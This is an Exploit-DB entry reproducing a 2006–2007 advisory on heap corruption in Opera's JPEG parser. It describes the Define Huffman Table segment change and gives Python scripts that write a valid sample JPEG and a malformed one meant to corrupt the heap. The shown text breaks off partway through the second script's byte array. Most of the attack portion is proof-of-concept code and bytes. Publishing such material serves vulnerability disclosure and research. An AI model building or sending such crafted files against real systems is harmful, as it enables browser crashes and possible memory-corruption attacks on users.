Exploit-DB #3101
Description: Opera 9.10 - '.jpg' Image DHT Marker Heap Corruption
Type: dos
Platform: multiple
Date: 2007-01-08
Author: posidron

Exploit:
Opera JPEG processing - Heap corruption vulnerabilities
=======================================================
Date..:  8th September 2006
       31th October 2006  (update)
        3rd November 2006 (update)
        5th January 2007  (public release)

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=457

Author: posidron

Application: Opera 9.01 Build 8552
Environment: Windows XP Professional, Service Pack 2 - DE


Preamble
========

Opera is vulnerable in parsing the JPEG file format. Discovered were four
vulnerabilities, each in different segments of the file format. I will
describe in this advisory the two important ones.

1 - ntdll.RtlAllocateHeap() DHT vulnerability
2 - ntdll.RtlAllocateHeap() SOS vulnerability

Opera Mini for mobile phones could be vulnerable also. The second bug looks
very interesting to this topic.


Details
=======

The following code produces the sample image on which all further operations
are made. It's a valid image which was generated with Adobe Photoshop.

Properties
----------

 Type       : JPEG
 Size       : 1px x 1px
 Compression: Low
 Colors:    : None
 Filesize   : 304 bytes


# File: sample.py
bytes = [
 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]

f = open(__file__+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print __file__+".jpg created! (%d bytes)" % len(bytes)
# eof

F:\vulndev\Opera> python sample.py
sample.py.jpg created! (304 bytes)
F:\vulndev\Opera>


                     **************************************************


Details - ntdll.RtlAllocateHeap() DHT vulnerability
---------------------------------------------------

Segment: Define Huffman Table (DHT)

DHT..................: FF C4
Length...............: 00 4B
Index................: 00
Number of codes......: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06
Sum of previous bytes: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

We change the above to the below:

Number of codes......: 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sum of previous bytes: 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00


# File: heap.py
bytes = [
 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,

 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11